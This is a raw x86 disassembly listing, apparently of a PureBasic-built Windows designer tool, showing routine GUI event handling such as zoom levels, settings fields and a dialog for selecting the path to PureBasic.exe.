mov dword [esp + 4], eax
mov dword [esp], eax
call fcn.0055dcf4
sub esp, 0x14
mov dword [0x76036c], 0x136f
mov dword [esp], 4
call fcn.0055dccc
push eax
mov dword [0x76036c], 0x1370
call fcn.0055dcdc
mov ebx, eax
call fcn.0055dce8
mov dword [esp + 0x18], 0x808080
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], eax
call fcn.0055df7c
sub esp, 0x1c
mov dword [0x76036c], 0x1371
mov dword [esp], 0x10
call fcn.0055dccc
push eax
mov dword [0x76036c], 0x1372
call fcn.0055dcdc
mov ebp, eax
mov dword [esp], 5
call fcn.00566f21
push edx
mov esi, eax
call fcn.0055dce8
mov ebx, eax
mov dword [esp], 5
call fcn.00566f3f
push ecx
mov edi, eax
mov dword [esp], 5
call fcn.00566d16
push edx
mov dword [esp], eax
mov eax, ebp
sub eax, esi
mov ecx, 2
cdq
idiv ecx
mov dword [esp + 8], eax
mov eax, ebx
sub eax, edi
cdq
idiv ecx
mov dword [esp + 4], eax
call fcn.0055de36
sub esp, 0xc
mov dword [0x76036c], 0x1373
call fcn.0055dea5
jmp 0x511e15
mov dword [0x76036c], 0x1379
cmp dword [0x7602b4], 0
jne 0x5126cf
mov dword [0x76036c], 0x137b
mov dword [0x76036c], 0x137c
mov dword [0x76036c], 0xd000d5
mov dword [0x76036c], 0xd000d6
mov dword [esp], 5
call fcn.005427e0
push edx
mov ebx, eax
mov dword [esp], 0x92
call fcn.005427e0
push ecx
mov dword [esp + 0x10], 0xffff0001
sub ebx, eax
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0xffff0001
mov dword [esp + 4], 0xffff0001
mov dword [esp], 5
call fcn.00542915
sub esp, 0x14
mov dword [0x76036c], 0xd000d7
xor ebx, ebx
mov dword [esp], ebx
call fcn.0055a07a
push esi
mov esi, eax
xor edi, edi
mov dword [esp], edi
call fcn.0055a0cf
push ebp
mov ebx, eax
mov dword [esp], 0x92
call fcn.005427e0
push edx
mov edx, eax
sub esi, dword [0x75ffec]
lea eax, [esi - 6]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xffff0001
mov dword [esp + 8], 0xffff0001
sub ebx, edx
sub ebx, 6
mov dword [esp + 4], ebx
mov dword [esp], 0x92
call fcn.00542915
sub esp, 0x14
mov dword [0x76036c], 0xd000d8
xor ecx, ecx
mov dword [esp], ecx
call fcn.0055a07a
push ebx
sub eax, dword [0x75ffec]
sub eax, 6
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xffff0001
mov dword [esp + 8], 0xffff0001
mov dword [esp + 4], 0xffff0001
mov dword [esp], 0x93
call fcn.00542915
sub esp, 0x14
mov dword [0x76036c], 0xd000da
xor esi, esi
mov dword [esp + 4], esi
mov dword [esp], 0x92
call fcn.0054294e
push edi
push edi
mov dword [0x76036c], 0xd000db
mov dword [esp], 0x92
call fcn.00542728
push ebp
mov dword [esp], eax
call sub.USER32.dll_UpdateWindow
push eax
mov dword [0x76036c], 0xd000dc
mov dword [0x760130], 1
mov dword [0x76036c], 0xd000dd
jmp 0x510ce0
mov dword [0x76036c], 0x137a
call fcn.00418840
jmp 0x51254c
mov dword [0x76036c], 0x137f
call fcn.0055bd35
cmp eax, 0x300
je 0x512708
mov dword [0x76036c], 0x138c
jmp 0x510ce0
mov dword [0x76036c], 0x1380
mov dword [esp + 4], 2
mov eax, dword [0x760074]
mov dword [esp], eax
call fcn.0053a1b2
push ebp
push ebp
test eax, eax
jne 0x512752
mov dword [0x76036c], 0x1389
mov dword [0x76036c], 0x138a
call fcn.00509400
mov dword [0x76036c], 0x138b
jmp 0x5126f9
mov dword [0x76036c], 0x1381
mov dword [esp], str.Designer
call fcn.0053a550
push esi
mov dword [0x76036c], 0x1383
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 8], eax
mov dword [esp + 4], str.English
mov dword [esp], 0x66ecb8
call fcn.0053a6eb
sub esp, 0xc
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x61
call fcn.005441b3
push edi
push edi
call fcn.005729c0
mov ebx, eax
call fcn.005729c0
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.005728e0
test eax, eax
je 0x512813
mov dword [0x76036c], 0x1386
mov dword [0x76036c], 0x1387
call fcn.0053a6d9
mov dword [0x76036c], 0x1388
mov dword [0x76036c], 0x1389
jmp 0x512746
mov dword [0x76036c], 0x1384
call fcn.0053a6d9
mov dword [0x76036c], 0x1385
call fcn.00509400
mov dword [0x76036c], 0x1386
jmp 0x5127fa
mov dword [0x76036c], 0x138f
mov dword [esp + 4], 2
mov eax, dword [0x760074]
mov dword [esp], eax
call fcn.0053a1b2
push ebx
push ebx
test eax, eax
jne 0x51288a
mov dword [0x76036c], 0x1397
mov dword [0x76036c], 0x1398
call fcn.00509620
mov dword [0x76036c], 0x1399
jmp 0x510ce0
mov dword [0x76036c], 0x1390
mov dword [esp], str.Designer
call fcn.0053a550
push eax
mov dword [0x76036c], 0x1391
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], 0x677914
call fcn.0053a7df
push edx
push edx
mov ebx, eax
mov dword [esp], 0x62
call fcn.00542b42
push ecx
cmp ebx, eax
je 0x512913
mov dword [0x76036c], 0x1392
call fcn.0053a6d9
mov dword [0x76036c], 0x1393
call fcn.00509620
mov dword [0x76036c], 0x1394
mov dword [0x76036c], 0x1396
mov dword [0x76036c], 0x1397
jmp 0x51287b
mov dword [0x76036c], 0x1394
mov dword [0x76036c], 0x1395
call fcn.0053a6d9
jmp 0x5128fa
mov dword [0x76036c], 0x139d
mov dword [0x76036c], 0x139e
fld dword [0x60d1d4]
fmul dword [0x760054]
fnstcw word [esp + 0x2e]
movzx eax, word [esp + 0x2e]
or ah, 0xc
mov word [esp + 0x2c], ax
fldcw word [esp + 0x2c]
fistp dword [esp + 0x28]
fldcw word [esp + 0x2e]
mov eax, dword [esp + 0x28]
mov dword [0x76036c], 0x139f
mov dword [0x76036c], 0x139f
cmp eax, 0x64
je 0x512b77
mov dword [0x76036c], 0x13a1
mov dword [0x76036c], 0x13a1
cmp eax, 0x7d
je 0x512bb5
mov dword [0x76036c], 0x13a3
mov dword [0x76036c], 0x13a3
cmp eax, 0x96
je 0x512bf3
mov dword [0x76036c], 0x13a5
mov dword [0x76036c], 0x13a5
cmp eax, 0xaf
je 0x512c31
mov dword [0x76036c], 0x13a7
mov dword [0x76036c], 0x13a7
cmp eax, 0xc8
je 0x512c6f
mov dword [0x76036c], 0x13a9
mov dword [0x76036c], 0x13a9
cmp eax, 0xe1
je 0x512cad
mov dword [0x76036c], 0x13ab
mov dword [0x76036c], 0x13ab
cmp eax, 0xfa
je 0x512ceb
mov dword [0x76036c], 0x13ad
mov dword [0x76036c], 0x13ad
cmp eax, 0x12c
je 0x512d29
mov dword [0x76036c], 0x13af
mov dword [0x76036c], 0x13af
cmp eax, 0x15e
je 0x512d67
mov dword [0x76036c], 0x13b1
mov dword [0x76036c], 0x13b1
cmp eax, 0x190
je 0x512da5
mov dword [0x76036c], 0x13b3
mov dword [0x76036c], 0x13b4
mov dword [esp], 0x50
call fcn.00542b15
push ecx
mov ebx, eax
mov dword [esp], 0x50
call fcn.00542a31
push esi
mov edx, dword [0x7601fc]
mov dword [esp + 0x28], eax
fild dword [esp + 0x28]
fld dword [0x60d3f4]
fmul dword [0x760054]
fsubp st(1)
fadd dword [0x60d1c4]
fstp qword [esp + 0x40]
fld qword [esp + 0x40]
fistp qword [esp + 0x48]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
mov eax, dword [esp + 0x48]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.0042ded0
sub esp, 0x10
mov dword [0x76032c], eax
mov dword [0x76036c], 0x13b6
mov eax, dword [0x76032c]
cmp eax, 0xffffffff
je 0x512b68
cmp eax, dword [0x7601fc]
je 0x512b68
mov dword [0x76036c], 0x13b7
mov dword [0x7601fc], eax
mov dword [0x76036c], 0x13b8
call fcn.004af250
mov dword [0x76036c], 0x13b9
call fcn.004b1b70
mov dword [0x76036c], 0x13ba
jmp 0x510ce0
mov dword [0x76036c], 0x13a0
mov dword [esp], 0x50
call fcn.00542b15
push edi
mov ebx, eax
mov dword [esp], 0x50
call fcn.00542a31
push ebp
mov edx, dword [0x7601fc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
sub eax, 0x1c4
jmp 0x512b0b
mov dword [0x76036c], 0x13a2
mov dword [esp], 0x50
call fcn.00542b15
push ebx
mov ebx, eax
mov dword [esp], 0x50
call fcn.00542a31
push esi
mov edx, dword [0x7601fc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
sub eax, 0x259
jmp 0x512b0b
mov dword [0x76036c], 0x13a4
mov dword [esp], 0x50
call fcn.00542b15
push edx
mov ebx, eax
mov dword [esp], 0x50
call fcn.00542a31
push ecx
mov edx, dword [0x7601fc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
sub eax, 0x2a4
jmp 0x512b0b
mov dword [0x76036c], 0x13a6
mov dword [esp], 0x50
call fcn.00542b15
push edi
mov ebx, eax
mov dword [esp], 0x50
call fcn.00542a31
push ebp
mov edx, dword [0x7601fc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
sub eax, 0x339
jmp 0x512b0b
mov dword [0x76036c], 0x13a8
mov dword [esp], 0x50
call fcn.00542b15
push ebx
mov ebx, eax
mov dword [esp], 0x50
call fcn.00542a31
push esi
mov edx, dword [0x7601fc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
sub eax, 0x383
jmp 0x512b0b
mov dword [0x76036c], 0x13aa
mov dword [esp], 0x50
call fcn.00542b15
push edx
mov ebx, eax
mov dword [esp], 0x50
call fcn.00542a31
push ecx
mov edx, dword [0x7601fc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
sub eax, 0x418
jmp 0x512b0b
mov dword [0x76036c], 0x13ac
mov dword [esp], 0x50
call fcn.00542b15
push edi
mov ebx, eax
mov dword [esp], 0x50
call fcn.00542a31
push ebp
mov edx, dword [0x7601fc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
sub eax, 0x4ad
jmp 0x512b0b
mov dword [0x76036c], 0x13ae
mov dword [esp], 0x50
call fcn.00542b15
push ebx
mov ebx, eax
mov dword [esp], 0x50
call fcn.00542a31
push esi
mov edx, dword [0x7601fc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
sub eax, 0x58d
jmp 0x512b0b
mov dword [0x76036c], 0x13b0
mov dword [esp], 0x50
call fcn.00542b15
push edx
mov ebx, eax
mov dword [esp], 0x50
call fcn.00542a31
push ecx
mov edx, dword [0x7601fc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
sub eax, 0x66c
jmp 0x512b0b
mov dword [0x76036c], 0x13b2
mov dword [esp], 0x50
call fcn.00542b15
push edi
mov ebx, eax
mov dword [esp], 0x50
call fcn.00542a31
push ebp
mov edx, dword [0x7601fc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
sub eax, 0x74c
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.0042ded0
sub esp, 0x10
mov dword [0x76032c], eax
mov dword [0x76036c], 0x13b3
jmp 0x512b1f
mov dword [0x76036c], 0x13bd
mov dword [esp], 0x56
call fcn.00542b42
push edx
mov dword [0x75ffdc], eax
mov dword [0x76036c], 0x13be
call fcn.00418840
mov dword [0x76036c], 0x13bf
call fcn.0048b550
jmp 0x510ce0
mov dword [0x76036c], 0x13c2
mov dword [esp], 0x57
call fcn.00542b42
push ebp
mov dword [0x760004], eax
jmp 0x510ce0
mov dword [0x76036c], 0x13c5
mov dword [esp], 0x58
call fcn.00542b42
push edi
mov dword [0x75ff84], eax
jmp 0x510ce0
mov dword [0x76036c], 0x13c8
mov eax, dword [0x76022c]
mov dword [esp + 4], eax
mov dword [esp], 0x7603dc
call fcn.005728e0
test eax, eax
jne 0x5130eb
mov dword [0x76036c], 0x13ca
mov dword [0x76036c], 0x13cb
call fcn.00572920
call fcn.00572920
mov ebx, dword [0x76022c]
call fcn.00572950
mov dword [esp + 0x10], eax
xor eax, eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.PureBasic_Path__PureBasic.exe_PureBasic.exe
mov dword [esp + 4], ebx
mov dword [esp], str.Select_the_Path_to_Purebasic.exe
call fcn.0051e6d6
sub esp, 0x14
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x76022c
call fcn.00572aa0
push eax
push eax
mov dword [0x76036c], 0x13cc
mov eax, dword [0x76022c]
mov dword [esp + 4], eax
mov dword [esp], 0x5c
call fcn.00544292
push eax
push eax
mov dword [0x76036c], 0x13cd
mov eax, dword [0x76022c]
mov dword [esp], eax
call fcn.00559056
push ecx
xor ebx, ebx
cmp ebx, eax
mov eax, ebx
sbb eax, edx
jge 0x513129
mov dword [0x76036c], 0x13ce
mov dword [esp], 0x47
call fcn.00566d16
push edx
mov dword [esp + 4], eax
mov dword [esp], 0x5f
call fcn.00542744
push ecx
push ecx
mov dword [0x76036c], 0x13cf
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov esi, dword [0x76022c]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], esi
call fcn.00559220
push esi
push esi
mov dword [esp], str.History.db
call fcn.00572a40
push edi
call fcn.005729f0
mov dword [esp], eax
call fcn.00559056
push ebp
mov edi, eax
mov esi, edx
call fcn.00572990
cmp ebx, edi
sbb ebx, esi
jge 0x5131bf
mov dword [0x76036c], 0x13d0
mov dword [esp + 4], 1
mov dword [esp], 0x5e
call fcn.00542744
push ebp
push ebp
mov dword [0x76036c], 0x13d1
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], 0x5e
call fcn.0054294e
push eax
push eax
mov dword [0x76036c], 0x13d2
mov dword [0x76036c], 0x13d5
mov dword [0x76036c], 0x13d6
call fcn.00572920
call fcn.00572920
mov ebx, dword [0x76022c]
call fcn.00572950
mov dword [esp + 8], eax
mov dword [esp + 4], 0x6725fc
mov dword [esp], ebx
call fcn.0042fb00
sub esp, 0xc
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x760120
call fcn.00572aa0
push esi
push esi
mov dword [0x76036c], 0x13d7
call fcn.00572920
call fcn.00572920
mov ebx, dword [0x760120]
call fcn.00572950
mov dword [esp + 0xc], eax
mov dword [esp + 8], 4
mov dword [esp + 4], 0xb
mov dword [esp], ebx
call fcn.0056f3b0
sub esp, 0x10
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x760120
call fcn.00572aa0
push edi
push edi
mov dword [0x76036c], 0x13d8
mov dword [0x76036c], 0x13dd
jmp 0x510ce0
mov dword [0x76036c], 0x13c9
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp], eax
call fcn.0045cd40
push ebx
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x76022c
call fcn.00572aa0
push esi
push esi
jmp 0x512ea9
mov dword [0x76036c], 0x13d8
mov dword [0x76036c], 0x13d9
mov dword [esp], 0x48
call fcn.00566d16
push edx
mov dword [esp + 4], eax
mov dword [esp], 0x5f
call fcn.00542744
push ecx
push ecx
mov dword [0x76036c], 0x13da
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp], 0x5e
call fcn.00542744
push esi
push esi
mov dword [0x76036c], 0x13db
mov dword [esp + 4], 1
mov dword [esp], 0x5e
call fcn.0054294e
push edi
push edi
mov dword [0x76036c], 0x13dc
mov dword [esp + 4], str.5.00
mov dword [esp], 0x760120
call fcn.00572830
push ebp
push ebp
jmp 0x5130dc
mov dword [0x76036c], 0x13d2
mov dword [0x76036c], 0x13d3
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], 0x5e
call fcn.00542744
push eax
push eax
mov dword [0x76036c], 0x13d4
mov dword [esp + 4], 1
mov dword [esp], 0x5e
call fcn.0054294e
push eax
push eax
jmp 0x513026
mov dword [0x76036c], 0x13e0
mov dword [esp], 0x5e
call fcn.00542b42
push ebx
test eax, eax
je 0x513236
mov dword [0x76036c], 0x13e5
jmp 0x510ce0
mov dword [0x76036c], 0x13e1
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x678580
call fcn.0056fd80
push ecx
push ecx
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push esi
push esi
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edi
push edi
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x677808
call fcn.0056fd80
push ebp
push ebp
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ecx
push ecx
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x44
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
mov ebx, eax
call fcn.00572990
mov dword [0x760210], ebx
mov dword [0x76036c], 0x13e2
cmp ebx, 7
je 0x513376
mov dword [0x76036c], 0x13e4
jmp 0x513227
mov dword [0x76036c], 0x13e3
mov dword [esp + 4], 1
mov dword [esp], 0x5e
call fcn.00542744
push ebp
push ebp
jmp 0x513367
mov dword [0x76036c], 0x13e8
mov dword [esp], 0x59
call fcn.00542b42
push edi
mov dword [0x760080], eax
jmp 0x510ce0
mov dword [0x76036c], 0x13eb
mov dword [esp], 0x5a
call fcn.00542b42
push esi
mov dword [0x75ffd8], eax
jmp 0x510ce0
mov dword [0x76036c], 0x13ee
mov dword [esp], 0x6a
call fcn.00542b42
push ebx
mov dword [0x76014c], eax
mov dword [0x76036c], 0x13ef
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x13f2
mov dword [esp], 0x79
call fcn.00542b42
push ecx
mov dword [0x76012c], eax
mov dword [0x76036c], 0x13f3
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x13f6
mov dword [esp], 0x79
call fcn.00542b42
push edx
mov dword [0x76012c], eax
mov dword [0x76036c], 0x13f7
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x13fa
call fcn.0055bd35
cmp eax, 0x300
je 0x51348f
mov dword [0x76036c], 0x1402
jmp 0x510ce0
mov dword [0x76036c], 0x13fb
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x6d
call fcn.005441b3
push ebp
push ebp
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x760320
call fcn.00572aa0
push eax
push eax
mov dword [0x76036c], 0x13fc
call fcn.00572920
call fcn.00572920
mov ebx, dword [0x760320]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0040b610
push eax
push eax
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x760320
call fcn.00572aa0
push eax
push eax
mov dword [0x76036c], 0x13fd
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x6d
call fcn.005441b3
push eax
push eax
mov ebx, dword [0x760320]
call fcn.005729c0
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.005728e0
test eax, eax
je 0x513579
mov dword [0x76036c], 0x1400
mov dword [0x76036c], 0x1401
call fcn.004b1b70
jmp 0x513480
mov dword [0x76036c], 0x13fe
mov eax, dword [0x760320]
mov dword [esp + 4], eax
mov dword [esp], 0x6d
call fcn.00544292
push eax
push eax
mov dword [0x76036c], 0x13ff
mov eax, dword [0x760320]
mov dword [esp], eax
call fcn.0056f5f0
push edx
mov esi, eax
mov eax, dword [0x760320]
mov dword [esp], eax
call fcn.0056f5f0
push ecx
mov ebx, eax
mov dword [esp], 0x6d
call fcn.00542728
push edi
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0xb1
mov dword [esp], eax
call sub.USER32.dll_SendMessageW
sub esp, 0x10
jmp 0x51355b
mov dword [0x76036c], 0x1405
mov dword [esp], 0x6e
call fcn.00542b42
push ebp
sub eax, 1
je 0x513655
mov dword [0x76036c], 0x1407
mov dword [0x76036c], 0x1408
mov dword [esp + 4], 0x7603dc
mov dword [esp], 0x76020c
call fcn.00572830
push edi
push edi
mov dword [0x76036c], 0x1409
mov dword [0x76036c], 0x140a
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x1406
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 8], eax
mov dword [esp + 4], 0x66af20
mov dword [esp], 0x670288
call fcn.0053a6eb
sub esp, 0xc
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x76020c
call fcn.00572aa0
push esi
push esi
mov dword [0x76036c], 0x1407
jmp 0x513637
mov dword [0x76036c], 0x140d
mov dword [esp], 0x65
call fcn.00542b42
push ebx
sub eax, 1
je 0x51372e
mov dword [0x76036c], 0x140f
mov dword [0x76036c], 0x1410
mov dword [0x76031c], 1
mov dword [0x76036c], 0x1411
mov dword [0x76036c], 0x1412
mov eax, dword [0x760380]
mov dword [esp], eax
call fcn.0055c894
push edx
or eax, dword [0x7600a4]
je 0x51371f
mov dword [0x76036c], 0x1413
call fcn.004b1b70
mov dword [0x76036c], 0x1414
jmp 0x510ce0
mov dword [0x76036c], 0x140e
xor ecx, ecx
mov dword [0x76031c], ecx
mov dword [0x76036c], 0x140f
jmp 0x5136e6
mov dword [0x76036c], 0x1417
mov dword [esp], 0x66
call fcn.00542b42
push edi
mov dword [0x76031c], eax
mov dword [0x76036c], 0x1418
mov eax, dword [0x760380]
mov dword [esp], eax
call fcn.0055c894
push ebp
or eax, dword [0x7600a4]
je 0x513797
mov dword [0x76036c], 0x1419
call fcn.004b1b70
mov dword [0x76036c], 0x141a
jmp 0x510ce0
mov dword [0x76036c], 0x141d
mov dword [esp], 0x74
call fcn.00542b42
push esi
mov dword [0x76011c], eax
jmp 0x510ce0
mov dword [0x76036c], 0x1420
mov dword [esp], 0x76
call fcn.00542b42
push ebx
mov dword [0x7602cc], eax
mov dword [0x76036c], 0x1421
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x1424
mov dword [esp], 0x77
call fcn.00542b42
push ecx
mov dword [0x760160], eax
mov dword [0x76036c], 0x1425
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x1428
mov dword [esp], 0x7b
call fcn.00542b42
push edx
mov dword [0x76017c], eax
mov dword [0x76036c], 0x1429
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x142c
mov dword [esp], 0x7c
call fcn.00542b42
push ebp
mov dword [0x76025c], eax
mov dword [0x76036c], 0x142d
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x1430
mov dword [esp], 0x7f
call fcn.00542b42
push edi
mov dword [0x760264], eax
mov dword [0x76036c], 0x1431
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x1434
mov dword [esp], 0x68
call fcn.00542b42
push esi
sub eax, 1
je 0x51390f
mov dword [0x76036c], 0x1436
mov dword [0x76036c], 0x1437
mov dword [0x760148], 1
mov dword [0x76036c], 0x1438
mov dword [0x76036c], 0x1439
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x1435
xor ebx, ebx
mov dword [0x760148], ebx
mov dword [0x76036c], 0x1436
jmp 0x5138f1
mov dword [0x76036c], 0x143c
mov dword [esp], 0x69
call fcn.00542b42
push ecx
mov dword [0x760148], eax
mov dword [0x76036c], 0x143d
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x1440
mov dword [esp], 0x72
call fcn.00542b42
push edx
sub eax, 1
je 0x513a10
mov dword [0x76036c], 0x1444
mov dword [0x76036c], 0x1445
call fcn.00572920
call fcn.00572920
mov dword [esp], 0x71
call fcn.00542b42
push esi
mov ebx, eax
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0056f860
push edi
push edi
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x760330
call fcn.00572aa0
push ebp
push ebp
mov dword [0x76036c], 0x1447
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], 0x71
call fcn.0054416b
push eax
push eax
mov dword [0x76036c], 0x1448
mov dword [0x76036c], 0x1449
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x1441
mov dword [esp + 4], 0x67c184
mov dword [esp], 0x760330
call fcn.00572830
push ecx
push ecx
mov dword [0x76036c], 0x1443
mov dword [esp + 4], 1
mov dword [esp], 0x71
call fcn.0054416b
push ebx
push ebx
mov dword [0x76036c], 0x1444
jmp 0x5139f2
mov dword [0x76036c], 0x144c
mov dword [esp], 0x88
call fcn.00542b42
push edx
mov dword [0x76018c], eax
mov dword [0x76036c], 0x144d
mov dword [0x76036c], 0x144e
mov dword [0x76036c], 0x144e
test eax, eax
je 0x513ac7
mov dword [0x76036c], 0x1452
mov dword [0x76036c], 0x1453
xor ecx, ecx
mov dword [esp + 4], ecx
mov dword [esp], pe_nt_image_headers32
call fcn.0054416b
push ebx
push ebx
jmp 0x510ce0
mov dword [0x76036c], 0x144f
xor esi, esi
mov dword [0x760134], esi
mov dword [0x76036c], 0x1450
xor edi, edi
mov dword [esp + 4], edi
mov dword [esp], pe_nt_image_headers32
call fcn.00542744
push ebp
push ebp
mov dword [0x76036c], 0x1451
mov dword [esp + 4], 1
mov dword [esp], pe_nt_image_headers32
call fcn.0054416b
push eax
push eax
mov dword [0x76036c], 0x1452
jmp 0x510ce0
mov dword [0x76036c], 0x1457
mov dword [esp], pe_nt_image_headers32
call fcn.00542b42
push edx
mov dword [0x760134], eax
jmp 0x510ce0
mov dword [0x76036c], 0x145a
mov dword [esp], 0x81
call fcn.00542b42
push ebp
test eax, eax
jne 0x513bd6
mov dword [0x76036c], 0x145c
mov dword [0x76036c], 0x145d
mov dword [esp + 4], 0x7603dc
mov dword [esp], 0x760174
call fcn.00572830
push edi
push edi
mov dword [0x76036c], 0x145e
mov dword [0x76036c], 0x145f
mov dword [esp], 0x81
call fcn.00542b42
push edx
xor eax, 1
mov dword [esp + 4], eax
mov dword [esp], 0x82
call fcn.0054416b
push ecx
push ecx
mov dword [0x76036c], 0x1460
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x145b
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x82
call fcn.005441b3
push ebx
push ebx
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x760174
call fcn.00572aa0
push esi
push esi
mov dword [0x76036c], 0x145c
jmp 0x513b8c
mov dword [0x76036c], 0x1463
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x82
call fcn.005441b3
push edi
push edi
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x760174
call fcn.00572aa0
push ebp
push ebp
mov dword [0x76036c], 0x1464
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x1467
mov dword [esp], 0x83
call fcn.00542b42
push esi
mov dword [0x7602d0], eax
mov dword [0x76036c], 0x1468
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x146b
mov dword [esp], 0x84
call fcn.00542b42
push ebx
mov dword [0x760180], eax
jmp 0x510ce0
mov dword [0x76036c], 0x146e
mov dword [esp], 0x85
call fcn.00542b42
push ecx
mov dword [0x76023c], eax
mov dword [0x76036c], 0x146f
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x1472
mov dword [esp], 0x7d
call fcn.00542b42
push edx
mov dword [0x760118], eax
mov dword [0x76036c], 0x1473
test eax, eax
jne 0x513d6e
mov dword [0x76036c], 0x1477
mov dword [0x76036c], 0x1478
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], 0x7e
call fcn.0054416b
push eax
push eax
mov dword [0x76036c], 0x1479
mov dword [0x76036c], 0x147a
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x1474
mov dword [0x760100], 1
mov dword [0x76036c], 0x1475
mov dword [esp + 4], 1
mov dword [esp], 0x7e
call fcn.00542744
push eax
push eax
mov dword [0x76036c], 0x1476
mov dword [esp + 4], 1
mov dword [esp], 0x7e
call fcn.0054416b
push eax
push eax
mov dword [0x76036c], 0x1477
jmp 0x513d50
mov dword [0x76036c], 0x147d
mov dword [esp], 0x7e
call fcn.00542b42
push ebp
mov dword [0x760100], eax
mov dword [0x76036c], 0x147e
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x1481
mov dword [esp], 0x86
call fcn.00542b42
push edi
mov dword [0x760268], eax
mov dword [0x76036c], 0x1482
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x1485
call fcn.0055bd35
mov dword [0x76036c], 0x1486
mov dword [0x76036c], 0x1486
cmp eax, 0x36b0
je 0x513eaf
